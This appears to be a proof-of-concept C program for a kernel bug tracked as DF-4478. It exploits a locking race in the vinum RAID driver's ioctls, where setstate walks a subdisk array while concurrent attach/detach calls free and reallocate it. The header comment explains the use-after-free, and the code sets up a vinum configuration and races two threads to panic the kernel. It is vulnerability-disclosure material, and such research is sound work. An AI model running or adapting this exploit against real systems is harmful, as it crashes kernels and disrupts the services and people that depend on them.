DF-4478 / vinum_unlocked_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 | /* * DF-4478 PoC: vinum state-machine ioctls run without lock_config() and * race configuration changes that free/reallocate the very structures the * state walks use -> use-after-free / wild pointer dereference. * * Sink: sys/dev/raid/vinum/vinumstate.c * vinumstate.c:1004-1028 setstate() object_initializing / plex_object: * `for (sdno = 0; sdno < plex->subdisks; sdno++) * sd = &SD[plex->sdnos[sdno]]' -- re-reads plex->sdnos each * iteration with no lock; a concurrent VINUM_DETACH (also unlocked, * vinumioctl.c:282-284 -> detachobject, vinumioctl.c:621-624) does * Free(plex->sdnos); plex->sdnos = NULL; plex->subdisks = 0, and a * concurrent VINUM_ATTACH/give_sd_to_plex EXPANDs (Malloc+Free) the * array under lock_config (vinumconfig.c:258 expand of plex->sdnos). * Dispatch: vinumioctl.c:228-238 VINUM_SETSTATE and 277-284 ATTACH/DETACH * take neither lock_config() nor start_config(). * * Thread A hammers VINUM_SETSTATE(plex0, object_initializing, force). * Thread B hammers VINUM_ATTACH(sd0 -> plex0, force) / VINUM_DETACH(sd0). * * Expected on vulnerable kernel: panic in setstate() (NULL/low-address * deref of plex->sdnos[i] after concurrent free, or wild SD[garbage]). * * Needs: kldload vinum; root on /dev/vinum/control. */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFSIZE 1024 #define REPLYBUF 256 #define REPLYBUF260 260 #define VINUM_CREATE _IOC(IOC_INOUT, 'F', 64, BUFSIZE) #define VINUM_SETSTATE _IOC(IOC_INOUT, 'F', 76, REPLYBUF) #define VINUM_ATTACH _IOC(IOC_INOUT, 'F', 87, 260) #define VINUM_DETACH _IOC(IOC_INOUT, 'F', 88, 260) enum { drive_object = 0, sd_object = 1, plex_object = 2, volume_object = 3 }; enum { object_down = 0, object_initializing = 1, object_initialized = 2, object_up = 3 }; struct vinum_ioctl_msg_poc { int index; int type; int state; int op; int force; int recurse; int verify; int otherobject; int rename; long long offset; int blocksize; }; static int fd; static volatile int stop; static volatile unsigned long n_setstate, n_attach, n_detach; static int send_line(const char *line) { char buf[BUFSIZE]; int rc; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%s", line); rc = ioctl(fd, VINUM_CREATE, buf); if (rc) printf("create \"%s\": rc=%d errno=%d err=%d msg=\"%.60s\"\n", line, rc, errno, *(int *)buf, buf + 4); return (rc); } static void * t_setstate(void *arg) { char buf[REPLYBUF]; struct vinum_ioctl_msg_poc *msg = (struct vinum_ioctl_msg_poc *)buf; (void)arg; while (!stop) { memset(buf, 0, sizeof(buf)); msg->index = 0; msg->type = plex_object; msg->state = object_initializing; msg->force = 1; if (ioctl(fd, VINUM_SETSTATE, buf) == 0) n_setstate++; } return (NULL); } static void * t_attach_detach(void *arg) { char buf[REPLYBUF260 + 8]; struct vinum_ioctl_msg_poc *msg = (struct vinum_ioctl_msg_poc *)buf; (void)arg; while (!stop) { memset(buf, 0, sizeof(buf)); msg->index = 0; /* sd 0 */ msg->type = sd_object; msg->otherobject = 0; /* plex 0 */ msg->force = 1; if (ioctl(fd, VINUM_ATTACH, buf) == 0) n_attach++; memset(buf, 0, sizeof(buf)); msg->index = 0; /* sd 0 */ msg->type = sd_object; msg->force = 1; if (ioctl(fd, VINUM_DETACH, buf) == 0) n_detach++; } return (NULL); } int main(int argc, char **argv) { pthread_t ta, tb; time_t t0 = time(NULL), limit = 45; if (argc > 1) limit = atoi(argv[1]); fd = open("/dev/vinum/control", O_RDWR); if (fd < 0) { perror("open /dev/vinum/control (need root, kldload vinum)"); return (1); } /* minimal live config: referenced drive + concat plex + one sd * (explicit driveoffset keeps the sd on the allocated-space path) */ send_line("drive d0"); send_line("plex name p0 org concat"); send_line("sd name s0 drive d0 len 2048s driveoffset 0s"); printf("poc: config created, racing setstate(plex0 init) vs " "attach/detach(sd0) for <=%lds\n", (long)limit); pthread_create(&ta, NULL, t_setstate, NULL); pthread_create(&tb, NULL, t_attach_detach, NULL); while (time(NULL) - t0 < limit) { sleep(3); printf("poc: setstate=%lu attach=%lu detach=%lu\n", n_setstate, n_attach, n_detach); } stop = 1; pthread_join(ta, NULL); pthread_join(tb, NULL); printf("poc: survived: setstate=%lu attach=%lu detach=%lu\n", n_setstate, n_attach, n_detach); return (0); } |